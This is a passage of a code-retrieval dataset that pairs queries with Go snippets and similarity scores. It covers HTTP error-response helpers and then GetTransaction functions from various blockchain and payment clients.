{\\n\\twriter.Header().Set(\\\"Access-Control-Allow-Origin\\\", \\\"*\\\")\\n\\twriter.Header().Set(\\\"Access-Control-Allow-Headers\\\", \\\"Content-Range, Content-Disposition, Content-Type, ETag\\\")\\n\\n\\t// 30% chance of failure\\n\\tif rand.Intn(100) < 30 {\\n\\t\\twriter.WriteHeader(500)\\n\\t\\twriter.Write([]byte(\\\"a chaos monkey broke your server\\\"))\\n\\t\\ts.client.Count(\\\"echo.error\\\", 1, nil, 1)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Happy path\\n\\twriter.WriteHeader(200)\\n\\trequest.Write(writer)\\n\\ts.client.Count(\\\"echo.success\\\", 1, nil, 1)\\n}\",\n \"func (r *Responder) ServiceUnavailable() { r.write(http.StatusServiceUnavailable) }\",\n \"func (r *Router) Error(w http.ResponseWriter, err error, statusCode int) {\\n\\thttp.Error(w, err.Error(), statusCode)\\n}\",\n \"func writeServiceError(w http.ResponseWriter) {\\n\\t// TODO log error\\n\\tw.WriteHeader(http.StatusServiceUnavailable)\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tjson.NewEncoder(w).Encode(response{\\\"Fail connection on DB.\\\"})\\n}\",\n \"func fail(res http.ResponseWriter, code int, message string) {\\n\\tres.WriteHeader(code)\\n\\tbody, _ := json.Marshal(ErrorResponse{message})\\n\\tres.Write(body)\\n}\",\n \"func WriteError(w http.ResponseWriter, str string, err error) {\\n\\tWriteMsg(w, fmt.Sprintf(\\\"An Error occured - %s: %v\\\", str, err))\\n}\",\n \"func errHandler(w http.ResponseWriter, code int, err error) {\\n\\tlog.Println(\\\"Error:\\\", err)\\n\\thttp.Error(w, http.StatusText(code), code)\\n}\",\n \"func setError(w http.ResponseWriter, desc string, status int) {\\n\\te := map[string]interface{}{\\\"code\\\": status, \\\"msg\\\": desc}\\n\\tmsg, _ := json.Marshal(e)\\n\\tlog.DebugJson(e)\\n\\t//w.WriteHeader(status)\\n\\tw.Write(msg)\\n}\",\n \"func internalServerError(w http.ResponseWriter, r *http.Request) {\\r\\n\\tw.WriteHeader(http.StatusInternalServerError)\\r\\n\\tw.Write([]byte(\\\"internal server error\\\"))\\r\\n}\",\n \"func output500Error(r render.Render, err error) {\\n\\tfmt.Println(err)\\n\\tr.JSON(500, map[string]interface{}{\\\"error\\\": err.Error()})\\n}\",\n \"func (w *RESPWriter) writeError(err error) {\\n\\tw.buf.WriteRune(respERROR)\\n\\tif err != nil {\\n\\t\\tw.buf.WriteString(err.Error())\\n\\t}\\n\\tw.buf.Write(DELIMS)\\n}\",\n \"func logHttpError(str string, rw http.ResponseWriter) {\\n\\tlog.Printf(\\\"%s\\\", str)\\n\\tvar buffer strings.Builder\\n\\tbuffer.WriteString(\\\"\\\")\\n\\tbuffer.WriteString(str)\\n\\tbuffer.WriteString(\\\"\\\")\\n\\tbuffer.WriteString(str)\\n\\tbuffer.WriteString(\\\"\\\")\\n\\trw.WriteHeader(404)\\n\\trw.Write([]byte(buffer.String()))\\n}\",\n \"func handleErr(w http.ResponseWriter, statusCode int, msg string) {\\n\\tw.WriteHeader(statusCode)\\n\\tw.Write([]byte(msg + \\\"\\\\n\\\"))\\n}\",\n \"func Error(w http.ResponseWriter, r *http.Request, err error) {\\n\\thandler, ok := err.(http.Handler)\\n\\tif !ok {\\n\\t\\terrCode, ok := err.(ErrorCode)\\n\\t\\tif !ok {\\n\\t\\t\\terrCode = errcode.Add(500, err)\\n\\t\\t}\\n\\t\\thandler = errorCodeHandler{\\n\\t\\t\\terr: errCode,\\n\\t\\t}\\n\\t}\\n\\thandler.ServeHTTP(w, r)\\n}\",\n \"func errWriter(w http.ResponseWriter, httpSts int, err error) {\\n\\tlog.Print(err)\\n\\thttp.Error(w, http.StatusText(httpSts), httpSts)\\n}\",\n \"func TestServerReturnBadCode(t *testing.T) {\\n\\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(http.StatusNotFound)\\n\\t\\tw.Write([]byte(`{}`))\\n\\t}))\\n\\t_, err := sendMessage(testServer.URL, \\\"test@email.com\\\", \\\"test\\\")\\n\\tif err == nil {\\n\\t\\tt.Fail()\\n\\t}\\n}\",\n \"func WriteErrMsg(w http.ResponseWriter, r *http.Request, msg string, opts ...int) {\\n\\thttpErr := NewErrHTTP(r, msg, opts...)\\n\\thttpErr.write(w, r, len(opts) > 1 /*silent*/)\\n\\tFreeHTTPErr(httpErr)\\n}\",\n \"func jsonError(w http.ResponseWriter, serverMsg string, clientMsg string) {\\n\\tlog.Error(serverMsg)\\n\\tpayload := Message{\\n\\t\\tError: clientMsg,\\n\\t}\\n\\tresJSON, err := json.Marshal(payload)\\n\\tif err != nil {\\n\\t\\tmsg := fmt.Sprintf(\\\"Failed to marshal result : %v\\\", err)\\n\\t\\thttpError(w, msg, msg, http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tfmt.Fprintf(w, \\\"%s\\\\n\\\", string(resJSON))\\n\\treturn\\n}\",\n \"func ServerErrResponse(error string, writer http.ResponseWriter) {\\n\\ttype servererrdata struct {\\n\\t\\tStatusCode int\\n\\t\\tMessage string\\n\\t}\\n\\ttemp := &servererrdata{StatusCode: 500, Message: error}\\n\\n\\t//Send header, status code and output to writer\\n\\twriter.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\twriter.WriteHeader(http.StatusInternalServerError)\\n\\tjson.NewEncoder(writer).Encode(temp)\\n}\",\n \"func (h *HandleHelper) ServerErr(err error) {\\n\\terrs := map[string]interface{}{\\n\\t\\t\\\"error\\\": \\\"the server encountered a problem and could not process your request\\\",\\n\\t\\t\\\"detail\\\": err.Error(),\\n\\t}\\n\\terrResponse(http.StatusInternalServerError, errs)(h.w, h.r)\\n}\",\n \"func (f *FFmpeg_Generator) ResponseError() {\\n\\tcache.UpdateStatus(f.UUID, f.Error.Message, false)\\n}\",\n \"func (s *Basememcached_protocolListener) EnterServer_error_message(ctx *Server_error_messageContext) {\\n}\",\n \"func (s *server) ServerError() error {\\n\\treturn s.serverError\\n}\",\n \"func repportErrorHandler(w *http.ResponseWriter, err string, code int) {\\n\\tlog.Println(err)\\n\\thttp.Error(*w, err, code)\\n}\",\n \"func syntaxError(text string) *smtpResponse {\\n\\treturn response(501, text, telnet.REQUEST)\\n}\",\n \"func (w *Watcher) sendError(err error) bool {\\n\\tselect {\\n\\tcase w.Errors <- err:\\n\\t\\treturn true\\n\\tcase <-w.done:\\n\\t\\treturn false\\n\\t}\\n}\",\n \"func (s *Basememcached_protocolListener) ExitServer_error_message(ctx *Server_error_messageContext) {}\",\n \"func errorResponse(r *http.Request, w http.ResponseWriter, code int, err error) {\\n\\tresp := map[string]interface{}{\\n\\t\\t\\\"error\\\": err.Error(),\\n\\t}\\n\\n\\twriteResponse(r, w, code, resp)\\n}\",\n \"func ExitError(msg string, code uint64) {\\n PrintString(msg);\\n PrintChar(10); //Print new line ('\\\\n' = 10)\\n Exit(code);\\n}\",\n \"func Error(ctx *fiber.Ctx, status int, resp interface{}) error {\\n\\tctx.Status(status)\\n\\tswitch v := resp.(type) {\\n\\tcase error, string:\\n\\t\\treturn ctx.JSON(map[string]interface{}{\\n\\t\\t\\t\\\"error\\\": fmt.Sprintf(\\\"%v\\\", v),\\n\\t\\t\\t\\\"status\\\": status,\\n\\t\\t})\\n\\tdefault:\\n\\t\\treturn ctx.JSON(resp)\\n\\t}\\n}\",\n \"func badServerName(w http.ResponseWriter) {\\n\\thttp.Error(w, \\\"missing or invalid servername\\\", 403) // intentionally vague\\n}\",\n \"func error_message(writer http.ResponseWriter, request *http.Request, msg string) {\\n\\turl := []string{\\\"/err?msg=\\\", msg}\\n\\thttp.Redirect(writer, request, strings.Join(url, \\\"\\\"), 302)\\n}\",\n \"func serve(err error) error {\\n\\tif err == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tnerr, ok := err.(*net.OpError)\\n\\tif !ok {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Unfortunately there isn't an easier way to check for this, but\\n\\t// we want to ignore errors related to the connection closing, since\\n\\t// s.Close is triggered on signal.\\n\\tif nerr.Err.Error() != \\\"use of closed network connection\\\" {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *Server) echo(writer http.ResponseWriter, request *http.Request) {\\r\\n\\twriter.Header().Set(\\\"Access-Control-Allow-Origin\\\", \\\"*\\\")\\r\\n\\twriter.Header().Set(\\\"Access-Control-Allow-Headers\\\", \\\"Content-Range, Content-Disposition, Content-Type, ETag\\\")\\r\\n\\r\\n\\t// 30% chance of failure\\r\\n\\tif rand.Intn(100) < 30 {\\r\\n\\t\\ts.logger.Error(\\\"Unlucky Request\\\")\\r\\n\\t\\ts.client.Count(\\\"Request_failed.counter\\\", 1, []string{\\\"env:production\\\", \\\"partition:1\\\", \\\"partition:2\\\"}, 1)\\r\\n\\t\\twriter.WriteHeader(500)\\r\\n\\t\\twriter.Write([]byte(\\\"a chaos monkey broke your server\\\"))\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\r\\n\\t// Happy path\\r\\n\\ts.client.Count(\\\"Request_success.counter\\\", 1, []string{\\\"env:production\\\", \\\"partition:1\\\", \\\"partition:2\\\"}, 1)\\r\\n\\twriter.WriteHeader(200)\\r\\n\\trequest.Write(writer)\\r\\n}\",\n \"func errorResponse(w http.ResponseWriter, reason string, statusCode int) error {\\n\\tw.WriteHeader(statusCode)\\n\\terrResponse := ErrorResponse{Err: reason}\\n\\terr := json.NewEncoder(w).Encode(errResponse)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *Responder) BadGateway() { r.write(http.StatusBadGateway) }\",\n \"func errormessage(writer http.ResponseWriter, request *http.Request, msg string) {\\n\\turl := []string{\\\"/err?msg=\\\", msg}\\n\\thttp.Redirect(writer, request, strings.Join(url, \\\"\\\"), 302)\\n}\",\n \"func (ths *ReceiveBackEnd) handleError(w http.ResponseWriter, r *http.Request) {\\n\\tdefer r.Body.Close();\\n\\tths.log.Println(\\\"Error request arrived...\\\");\\n\\thttp.Error(w, \\\"No such service\\\", http.StatusBadGateway);\\n}\",\n \"func ServerError(w http.ResponseWriter, r *http.Request, err error) bool {\\n\\tif err == nil {\\n\\t\\treturn false\\n\\t}\\n\\n\\tencodedErr, _ := json.Marshal(err.Error())\\n\\n\\tw.WriteHeader(http.StatusInternalServerError)\\n\\tw.Write(encodedErr)\\n\\treturn true\\n}\",\n \"func respondWithError(w http.ResponseWriter, code int, message string) {\\n respondWithJSON(w, code, map[string]string{\\\"error\\\": message})\\n}\",\n \"func ERROR(w http.ResponseWriter, statusCode int, err error) {\\n\\tif err != nil {\\n\\t\\tJSON(w, statusCode, struct {\\n\\t\\t\\tError string `json:\\\"error\\\"`\\n\\t\\t}{\\n\\t\\t\\tError: err.Error(),\\n\\t\\t})\\n\\t} else {\\n\\t\\tJSON(w, http.StatusBadRequest, nil)\\n\\t}\\n}\",\n \"func RespondErr(w http.ResponseWriter, status int, data string) {\\n\\tw.WriteHeader(status)\\n\\tfmt.Fprintf(w, `{\\n\\t\\t\\\"error\\\": %s\\n\\t}`, data)\\n}\",\n \"func writeInsightError(w http.ResponseWriter, str string) {\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")\\n\\tw.WriteHeader(http.StatusBadRequest)\\n\\tio.WriteString(w, str)\\n}\",\n \"func writeError(w http.ResponseWriter, message string){\\n\\ttype Out struct {\\n\\t\\tMessage string\\n\\t}\\n\\n\\t/* Write HTML */\\n\\tdata := Out{message}\\n\\ttmpl := template.Must(template.ParseFiles(\\\"static/html/error.html\\\", \\\"static/html/top.html\\\", \\\"static/html/head.html\\\"))\\n\\ttmpl.ExecuteTemplate(w, \\\"error\\\", data)\\n}\",\n \"func (srv *Server) ServeErr() <-chan error {\\n\\tc := make(chan error)\\n\\tgo func() {\\n\\t\\t<-srv.serveChan\\n\\t\\tclose(c)\\n\\t}()\\n\\treturn c\\n}\",\n \"func respondInternalServerError(w http.ResponseWriter, err error) {\\n\\tw.WriteHeader(http.StatusInternalServerError)\\n\\tw.Write(makeFailResponse(fmt.Sprintf(\\\"internal error: %s\\\", err.Error())))\\n}\",\n \"func (c *Conn) Tempfail() {\\n\\tswitch c.curcmd {\\n\\tcase HELO, EHLO:\\n\\t\\tc.reply(ReplyServiceNotAvailable)\\n\\tcase AUTH:\\n\\t\\tc.authDone(false)\\n\\t\\tc.reply(ReplyAuthTmpFail)\\n\\tcase MAILFROM, RCPTTO, DATA:\\n\\t\\tc.reply(ReplyMailboxNotAvailable)\\n\\t}\\n\\tc.replied = true\\n}\",\n \"func writeErrorResponse(w http.ResponseWriter) {\\n\\tw.WriteHeader(http.StatusInternalServerError)\\n\\ter := errorResponse{Message: \\\"unable to process request\\\"}\\n\\tbs, err := json.Marshal(er)\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t\\treturn\\n\\t}\\n\\tif _, err := w.Write(bs); err != nil {\\n\\t\\tlog.Error(err)\\n\\t}\\n}\",\n \"func serveISE(w http.ResponseWriter) {\\n\\thttp.Error(w, \\\"Internal server error.\\\", http.StatusInternalServerError)\\n}\",\n \"func TestReqRespServerErr(t *testing.T) {\\n\\t// Connect to NATS\\n\\tm := NewMessenger(testConfig)\\n\\tdefer m.Close()\\n\\n\\t// Use a WaitGroup to wait for the message to arrive\\n\\twg := sync.WaitGroup{}\\n\\twg.Add(1)\\n\\n\\t// Subscribe to the source subject with the message processing function\\n\\ttestSubject := \\\"test_subject\\\"\\n\\ttestMsgContent := []byte(\\\"Some text to send...\\\")\\n\\ttestRespErr := errors.New(\\\"Server error\\\")\\n\\tm.Response(testSubject, func(content []byte) ([]byte, error) {\\n\\t\\tdefer wg.Done()\\n\\t\\trequire.EqualValues(t, content, testMsgContent)\\n\\t\\treturn nil, testRespErr\\n\\t})\\n\\n\\t// Send a message\\n\\tresp, err := m.Request(testSubject, testMsgContent, 50*time.Millisecond)\\n\\tassert.Nil(t, err)\\n\\trequire.EqualValues(t, resp, testRespErr.Error())\\n\\n\\t// Wait for the message to come in\\n\\twg.Wait()\\n}\",\n \"func (l *Logs) CmdErr(ctx *multiplexer.Context, errMsg error, msg string) {\\n\\t// Inform the user of the issue (using a basic message string)\\n\\tctx.ChannelSendf(\\\"The bot seems to have encountered an issue: `%s`\\\", msg)\\n\\n\\t// Inform the admins of the issue\\n\\tmsgTime, err := ctx.Message.Timestamp.Parse()\\n\\tif err != nil {\\n\\t\\tmsgTime = time.Time{}\\n\\t}\\n\\n\\tmsgChannel := \\\"unknown\\\"\\n\\tchannel, err := ctx.Session.Channel(ctx.Message.ChannelID)\\n\\tif err == nil {\\n\\t\\tmsgChannel = channel.Name\\n\\t}\\n\\n\\tif !l.debug {\\n\\t\\tctx.Session.ChannelMessageSendEmbed(l.errorChannel, &discordgo.MessageEmbed{\\n\\t\\t\\tColor: 0xff0000,\\n\\t\\t\\tAuthor: &discordgo.MessageEmbedAuthor{\\n\\t\\t\\t\\tIconURL: ctx.Message.Author.AvatarURL(\\\"\\\"),\\n\\t\\t\\t\\tName: ctx.Message.Author.Username,\\n\\t\\t\\t},\\n\\t\\t\\tTitle: fmt.Sprintf(\\\"🚧 Error with command `%s%s`\\\", ctx.Prefix, ctx.Command),\\n\\t\\t\\tURL: util.GetMsgURL(\\n\\t\\t\\t\\tctx.Message.GuildID, ctx.Message.ChannelID, ctx.Message.ID,\\n\\t\\t\\t),\\n\\n\\t\\t\\tTimestamp: msgTime.Format(\\\"2006-01-02T15:04:05.000Z\\\"),\\n\\t\\t\\tFields: []*discordgo.MessageEmbedField{\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tName: \\\"🚶 User\\\",\\n\\t\\t\\t\\t\\tValue: ctx.Message.Author.Username,\\n\\t\\t\\t\\t\\tInline: true,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tName: \\\"#️⃣ Channel\\\",\\n\\t\\t\\t\\t\\tValue: fmt.Sprintf(\\\"#%s\\\", msgChannel),\\n\\t\\t\\t\\t\\tInline: true,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tName: \\\"🕹️ Command\\\",\\n\\t\\t\\t\\t\\tValue: ctx.Prefix + ctx.Command,\\n\\t\\t\\t\\t\\tInline: true,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tName: \\\"✉️ Command Message\\\",\\n\\t\\t\\t\\t\\tValue: msg,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tName: \\\"⚠️ Error Message\\\",\\n\\t\\t\\t\\t\\tValue: errMsg.Error(),\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tName: \\\"🖊️ Command Text\\\",\\n\\t\\t\\t\\t\\tValue: ctx.Prefix + ctx.Command +\\n\\t\\t\\t\\t\\t\\t\\\" \\\" + strings.Join(ctx.Arguments[:], \\\" \\\"),\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t})\\n\\t}\\n\\n\\tl.Command.Error(errMsg)\\n}\",\n \"func unexpectedError(msg string) {\\n\\tcolor.FgLightYellow.Println(msg + \\\" Please email me at samuelfolledo@gmail.com if this happens\\\")\\n}\",\n \"func responseWithErrorTxt(w http.ResponseWriter, code int, errTxt string) {\\n\\tresponseWithJSON(w, code, map[string]string{\\\"error\\\": errTxt})\\n}\",\n \"func (s *Server) Err(err error) {\\n\\ts.ErrCh <- err\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7002908","0.67551494","0.66180074","0.6617105","0.65756744","0.64197224","0.63832504","0.6338305","0.6310841","0.6247931","0.6221117","0.6186276","0.6127125","0.6119383","0.60867053","0.60619193","0.60507","0.60487825","0.60391396","0.603416","0.6032591","0.60304123","0.6021652","0.5978967","0.5938872","0.588776","0.5871979","0.5870285","0.5854661","0.58473885","0.5841193","0.5840924","0.57952636","0.57807994","0.5766339","0.5760109","0.5756009","0.57493895","0.574261","0.5737447","0.5735117","0.5724435","0.56953514","0.5662866","0.56541216","0.56423515","0.5631709","0.562177","0.5619702","0.5613467","0.5601478","0.5588616","0.55786693","0.55706835","0.5560941","0.55605507","0.5543127","0.55431026","0.5540228","0.55400234","0.55331415","0.55203015","0.5519941","0.5516141","0.5506378","0.5496584","0.54935056","0.5482781","0.546852","0.5462371","0.54583204","0.5457028","0.54558617","0.54541796","0.5454014","0.54538804","0.5449871","0.5444536","0.5443894","0.5438543","0.54373014","0.5420201","0.5408061","0.5405499","0.5400178","0.539982","0.5388691","0.5379169","0.53691363","0.5360421","0.534429","0.53273153","0.5320765","0.53191626","0.5307326","0.53052616","0.53004646","0.5292183","0.52870053","0.5285814"],"string":"[\n \"0.7002908\",\n \"0.67551494\",\n \"0.66180074\",\n \"0.6617105\",\n \"0.65756744\",\n \"0.64197224\",\n \"0.63832504\",\n \"0.6338305\",\n \"0.6310841\",\n \"0.6247931\",\n \"0.6221117\",\n \"0.6186276\",\n \"0.6127125\",\n \"0.6119383\",\n \"0.60867053\",\n \"0.60619193\",\n \"0.60507\",\n \"0.60487825\",\n \"0.60391396\",\n \"0.603416\",\n \"0.6032591\",\n \"0.60304123\",\n \"0.6021652\",\n \"0.5978967\",\n \"0.5938872\",\n \"0.588776\",\n \"0.5871979\",\n \"0.5870285\",\n \"0.5854661\",\n \"0.58473885\",\n \"0.5841193\",\n \"0.5840924\",\n \"0.57952636\",\n \"0.57807994\",\n \"0.5766339\",\n \"0.5760109\",\n \"0.5756009\",\n \"0.57493895\",\n \"0.574261\",\n \"0.5737447\",\n \"0.5735117\",\n \"0.5724435\",\n \"0.56953514\",\n \"0.5662866\",\n \"0.56541216\",\n \"0.56423515\",\n \"0.5631709\",\n \"0.562177\",\n \"0.5619702\",\n \"0.5613467\",\n \"0.5601478\",\n \"0.5588616\",\n \"0.55786693\",\n \"0.55706835\",\n \"0.5560941\",\n \"0.55605507\",\n \"0.5543127\",\n \"0.55431026\",\n \"0.5540228\",\n \"0.55400234\",\n \"0.55331415\",\n \"0.55203015\",\n \"0.5519941\",\n \"0.5516141\",\n \"0.5506378\",\n \"0.5496584\",\n \"0.54935056\",\n \"0.5482781\",\n \"0.546852\",\n \"0.5462371\",\n \"0.54583204\",\n \"0.5457028\",\n \"0.54558617\",\n \"0.54541796\",\n \"0.5454014\",\n \"0.54538804\",\n \"0.5449871\",\n \"0.5444536\",\n \"0.5443894\",\n \"0.5438543\",\n \"0.54373014\",\n \"0.5420201\",\n \"0.5408061\",\n \"0.5405499\",\n \"0.5400178\",\n \"0.539982\",\n \"0.5388691\",\n \"0.5379169\",\n \"0.53691363\",\n \"0.5360421\",\n \"0.534429\",\n \"0.53273153\",\n \"0.5320765\",\n \"0.53191626\",\n \"0.5307326\",\n \"0.53052616\",\n \"0.53004646\",\n \"0.5292183\",\n \"0.52870053\",\n \"0.5285814\"\n]"},"document_score":{"kind":"string","value":"0.59027946"},"document_rank":{"kind":"string","value":"25"}}},{"rowIdx":106153,"cells":{"query":{"kind":"string","value":"GetTransaction returns a transaction"},"document":{"kind":"string","value":"func GetTransaction() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tsugar, _ := item.New(\"Sugar\", map[string]float64{\"Kabras\": 110, \"Mumias\": 110}, \"kg(s)\")\n\t\tpurchase, message, err := transaction.New(sugar, map[string]float64{\"Nzoia\": 150}, 3)\n\t\tc.JSON(\n\t\t\thttp.StatusOK,\n\t\t\tGetResponse{GetData{purchase}, message, responseerr.GetStrErr(err)},\n\t\t)\n\t}\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func GetTransaction(ctx context.Context) *sql.Tx {\n\tiTx := ctx.Value(Transaction)\n\ttx, _ := iTx.(*sql.Tx) //nolint: errcheck\n\treturn tx\n}","func GetTransaction(transactionID bson.ObjectId) (*models.Transaction, error) {\n\tsession, collection := service.Connect(collectionName)\n\tdefer session.Close()\n\n\ttransaction := models.Transaction{}\n\terr := collection.FindId(transactionID).One(&transaction)\n\n\treturn &transaction, err\n}","func (uts *UnapprovedTransactions) GetTransaction(txID []byte) ([]byte, error) {\n\treturn uts.DB.Get(uts.getTableName(), txID)\n}","func (svc *svc) GetTransaction(ctx context.Context, query model.TransactionQuery) (model.Transaction, error) {\n\ttransaction, err := svc.repo.GetTransaction(ctx, query)\n\tif err != nil {\n\t\treturn transaction, err\n\t}\n\n\treturn transaction, nil\n}","func (gw *Gateway) GetTransaction(txid cipher.SHA256) (*visor.Transaction, error) {\n\tvar txn *visor.Transaction\n\tvar err error\n\n\tgw.strand(\"GetTransaction\", func() {\n\t\ttxn, err = gw.v.GetTransaction(txid)\n\t})\n\n\treturn txn, err\n}","func (b *Backend) GetTransaction(\n\tctx context.Context,\n\tid sdk.Identifier,\n) (*sdk.Transaction, error) {\n\ttx, err := b.emulator.GetTransaction(id)\n\tif err != nil {\n\t\tswitch err.(type) {\n\t\tcase emulator.NotFoundError:\n\t\t\treturn nil, status.Error(codes.NotFound, err.Error())\n\t\tdefault:\n\t\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t\t}\n\t}\n\n\tb.logger.\n\t\tWithField(\"txID\", id.String()).\n\t\tDebugf(\"💵 GetTransaction called\")\n\n\treturn tx, nil\n}","func GetTransaction(_db *gorm.DB, blkHash common.Hash, txHash common.Hash) *Transactions {\n\tvar tx Transactions\n\n\tif err := _db.Where(\"hash = ? and blockhash = ?\", txHash.Hex(), blkHash.Hex()).First(&tx).Error; err != nil {\n\t\treturn nil\n\t}\n\n\treturn &tx\n}","func (c *dummyWavesMDLrpcclient) GetTransaction(txid string) (*model.Transactions, error) {\n\ttransaction, _, err := client.NewTransactionsService(c.MainNET).GetTransactionsInfoID(txid)\n\treturn transaction, err\n}","func (tb *TransactionBuilder) GetTransaction() *types.Transaction {\n\treturn tb.tx\n}","func (trs *Transaction) GetTransaction() stored_transactions.Transaction {\n\treturn trs.Trs\n}","func (ps *PubsubApi) GetTransaction(hash common.Hash) *rtypes.RPCTx {\n\ttx, txEntry := ps.backend().GetTx(hash)\n\tif tx == nil {\n\t\tlog.Info(\"GetTransaction fail\", \"hash\", hash)\n\t}\n\treturn rtypes.NewRPCTx(tx, txEntry)\n}","func GetTransaction(id int, db *gorm.DB) Transaction {\n\tvar t Transaction\n\terr := db.Table(\"transactions\").\n\t\tPreload(\"Tags\").\n\t\tFirst(&t, id).\n\t\tError\n\tif err != nil {\n\t\tt.Date = time.Now()\n\t}\n\treturn t\n}","func (c *RPC) GetTransaction(txid string) (*webrpc.TxnResult, error) {\n\ttxn, err := c.rpcClient.GetTransactionByID(txid)\n\tif err != nil {\n\t\treturn nil, RPCError{err}\n\t}\n\n\treturn txn, nil\n}","func (client *Client) GetTransaction(txnID string) (*Response, error) {\n\tpath := \"/transaction\"\n\turi := fmt.Sprintf(\"%s%s/%s\", client.apiBaseURL, path, txnID)\n\n\treq, err := http.NewRequest(\"GET\", uri, bytes.NewBuffer([]byte(\"\")))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := client.performRequest(req, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Handle conversion of Response from an interface{} to Transaction for the user.\n\tvar txn Transaction\n\tif err := json.Unmarshal(resp.Response.([]byte), &txn); err != nil {\n\t\treturn nil, err\n\t}\n\tresp.Response = txn\n\treturn resp, err\n}","func (s *server) GetTransaction(ctx context.Context, req *transactionpb.GetTransactionRequest) (*transactionpb.GetTransactionResponse, error) {\n\tlog := logrus.WithFields(logrus.Fields{\n\t\t\"method\": \"GetTransaction\",\n\t\t\"id\": base64.StdEncoding.EncodeToString(req.TransactionId.Value),\n\t})\n\n\tif len(req.TransactionId.Value) != 32 && len(req.TransactionId.Value) != 64 {\n\t\treturn nil, status.Error(codes.Internal, \"invalid transaction signature\")\n\t}\n\n\tresp, err := s.loader.loadTransaction(ctx, req.TransactionId.Value)\n\tif err != nil {\n\t\tlog.WithError(err).Warn(\"failed to load transaction\")\n\t\treturn nil, status.Error(codes.Internal, \"failed to load transaction\")\n\t}\n\treturn resp, nil\n}","func GetTx(ctx context.Context) (*firestore.Transaction, bool) {\n\ttx, ok := ctx.Value(txKey).(*firestore.Transaction)\n\treturn tx, ok\n}","func (s *TransactionService) Get(walletID, txnID string) (*Transaction, error) {\n\tu := fmt.Sprintf(\"/kms/wallets/%s/transactions/%s\", walletID, txnID)\n\ttxn := &Transaction{}\n\tp := &Params{}\n\tp.SetAuthProvider(s.auth)\n\terr := s.client.Call(http.MethodGet, u, nil, txn, p)\n\treturn txn, err\n}","func (tx *tX) Transaction() (*tX, error) {\n\treturn tx, nil\n}","func GetTransaction(retKey string) (models.TransactionCache, error) {\n\n\tdata, err := redisClient.Get(ctx, retKey).Bytes()\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\treturn models.TransactionCache{}, err\n\t}\n\n\tvar transaction models.TransactionCache\n\n\terr = json.Unmarshal(data, &transaction)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\treturn models.TransactionCache{}, err\n\t}\n\n\treturn transaction, nil\n}","func (api *API) Get(tid string) (*pagarme.Response, *pagarme.Transaction, error) {\n\tresp, err := api.Config.Do(http.MethodGet, \"/transactions/\"+tid, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif werr := www.ExtractError(resp); werr != nil {\n\t\treturn werr, nil, nil\n\t}\n\tresult := &pagarme.Transaction{}\n\tif err := www.Unmarshal(resp, result); err != nil {\n\t\tapi.Config.Logger.Error(\"could not unmarshal transaction [Get]: \" + err.Error())\n\t\treturn nil, nil, err\n\t}\n\n\treturn www.Ok(), result, nil\n}","func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\n\ttx := &peer.Transaction{}\n\terr := proto.Unmarshal(txBytes, tx)\n\treturn tx, errors.Wrap(err, \"error unmarshaling Transaction\")\n}","func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}","func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}","func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}","func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\n\ttx := &peer.Transaction{}\n\terr := proto.Unmarshal(txBytes, tx)\n\treturn tx, err\n}","func (sc *ServerConn) GetTransaction(ctx context.Context, txid string) (*GetTransactionResult, error) {\n\tvar resp GetTransactionResult\n\terr := sc.Request(ctx, \"blockchain.transaction.get\", positional{txid, true}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resp, nil\n}","func GetTransaction(hostURL string, hostPort int, hash string) *bytes.Buffer {\n\tparams := make(map[string]interface{})\n\tparams[\"hash\"] = hash\n\treturn makePostRequest(hostURL, hostPort, \"f_transaction_json\", params)\n}","func (b *Bitcoind) GetTransaction(txid string) (transaction 